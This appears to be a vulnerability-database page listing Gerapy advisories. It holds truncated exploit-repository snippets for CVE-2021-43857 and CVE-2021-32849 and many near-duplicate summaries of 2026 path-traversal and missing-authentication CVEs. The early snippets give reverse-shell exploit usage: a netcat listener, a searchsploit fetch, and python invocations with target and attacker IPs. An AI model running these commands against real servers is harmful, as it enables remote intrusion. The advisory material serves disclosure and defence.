CVE-2021-43857-Gerapy-v0.9.7

CVE-2021-43857-Gerapy-v0.9.7 ポータルに管理者としてログイン 新しいプロジェクトを追加 sudo nc -lvnp 80 searchsploit -m python/remote/50640.py python3 ./50640.py -t IP-TARGET/URL -p PORT-TARGET -L YOUR-KALI-LINUX-IP -P YOUR-LISTENER-PORT python3 ./50640.py -t 192.168.106.24 -p 8000 -L 192.168.45.202 -P 80 シェルを楽しむ...

cve-2021-32849

cve-2021-32849 cve-2021-32849（gerapyコマンド実行） 使用方法 まずncでリスニングを開始し、その後expで攻撃します python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id...

CVE-2021-43857

CVE-2021-43857 CVE-2021-43857（gerapyコマンド実行） 免責事項 スクリプトは学習・参考用のみであり、他人のWebサイトへの悪意ある攻撃は禁止です。 法令違反や秩序違反を犯した場合、生じた一切の結果は利用者自身が負担します。 技術に罪はなく、作者とは無関係です。 スクリプトの使用は上記の説明に同意したものとみなされます！ --Author:lowkey0808 使用方法 -h, --help show this help message and exit -u url -U ログインユーザー -P ログインパスワード -r リバースシェルIP -p...

CVE-2021-43857

CVE-2021-43857 Gerapy 0.9.8 之前的版本存在远程代码执行漏洞。该问题已在 0.9.8 版本中修复。 CVE-2021-43857 是一个标记为严重优先级（CVSS 9.8）的漏洞，可导致远程代码执行。 该漏洞影响 0.9.8 之前的所有版本。 仅在 0.9.6 上测试过。需要正确的凭据。 该漏洞利用方式为：登录应用程序，然后获取已创建项目的列表（如果没有项目则会失败），接着利用项目设置运行易受攻击的 spider 机制，通过发送反向 Shell 载荷来实现。 使用示例： python3 cve-2021-43857.py -t 172.17.0.2 -p 800...

CVE-2026-105174

A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function projectcreate of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument projectname leads to path traversal. Remote exploitation of the attack is...

CVE-2026-105174 Gerapy Project Management views.py project_create path traversal

A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function projectcreate of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument projectname leads to path traversal. Remote exploitation of the attack is...

CVE-2026-105174 Gerapy Project Management views.py project_create path traversal

A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function projectcreate of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument projectname leads to path traversal. Remote exploitation of the attack is...

EUVD-2026-92154

A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function projectcreate of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument projectname leads to path traversal. Remote exploitation of the attack is...

CVE-2026-105174

A path traversal vulnerability exists in Gerapy up to version 0.9.13 within the Project Management component. The issue is located in the project_create function of the gerapy/server/core/views.py file, where improper handling of the project_name argument allows for unauthorized directory access....

CVE-2026-105174 Gerapy Project Management views.py project_create path traversal

A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function projectcreate of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument projectname leads to path traversal. Remote exploitation of the attack is...

CVE-2026-105174: Improper Limitation of a Pathname to a Restricted Directory

A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function projectcreate of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument projectname leads to path traversal. Remote exploitation of the attack is...

PT-2026-104663

A vulnerability has been found in Gerapy up to 0.9.13. This vulnerability affects the function project create of the file gerapy/server/core/views.py of the component Project Management. The manipulation of the argument project name leads to path traversal. Remote exploitation of the attack is...

gerapy-cve-2021-43857

Gerapy CVE-2021-43857 認証済みRCE このリポジトリは、CVE-2021-43857 の概念実証エクスプロイトを含んでいます。これは Gerapy -p -L -P 必要条件 1. Python 3.x 2. requests と pyfiglet pip install requests pyfiglet 3. Netcat nc...

Missing Authentication for Critical Function

Overview gerapy is a Distributed Crawler Management Framework Based on Scrapy, Scrapyd, Scrapyd-Client, Scrapyd-API, Django and Vue.js. Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the views.py file in the Project Upload Endpoint. An attacke...

CVE-2026-16209

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

CVE-2026-16209

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

CVE-2026-16209

Summary: CVE-2026-16209 affects Gerapy up to 0.9.13. The vulnerability is in an unknown function within gerapy/server/core/views.py, in the Project Upload Endpoint, causing missing authentication. It is a network-accessible issue that can be exploited remotely; the exploit is public. A patch iden...

CVE-2026-16209 Gerapy Project Upload Endpoint views.py missing authentication

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

CVE-2026-16209 Gerapy Project Upload Endpoint views.py missing authentication

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...

CVE-2026-16209 Gerapy Project Upload Endpoint views.py missing authentication

A vulnerability has been found in Gerapy up to 0.9.13. The impacted element is an unknown function of the file gerapy/server/core/views.py of the component Project Upload Endpoint. Such manipulation leads to missing authentication. The attack may be launched remotely. The exploit has been disclos...